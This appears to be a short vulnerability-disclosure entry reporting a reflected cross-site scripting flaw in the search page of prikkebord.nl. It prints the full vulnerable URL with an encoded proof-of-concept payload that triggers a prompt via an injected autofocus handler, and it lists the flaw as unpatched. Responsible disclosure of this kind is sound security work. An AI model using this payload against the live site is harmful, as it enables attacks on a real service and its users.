prikkebord.nl XSS vulnerability

Vulnerable URL: https://www.prikkebord.nl/search/topics/?q=aaaaa%27%22+onfocus%3Dprompt/OPENBUGBOUNTY/+autofocus%3Dx+bad%3D%22%3Edemoniuma%27aa%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Cmarquee+onstart%3Dxxx%3Edemonium%3C%2Ftag%3E Details: Description| Value ---|--- Patched:| No Latest check for patch...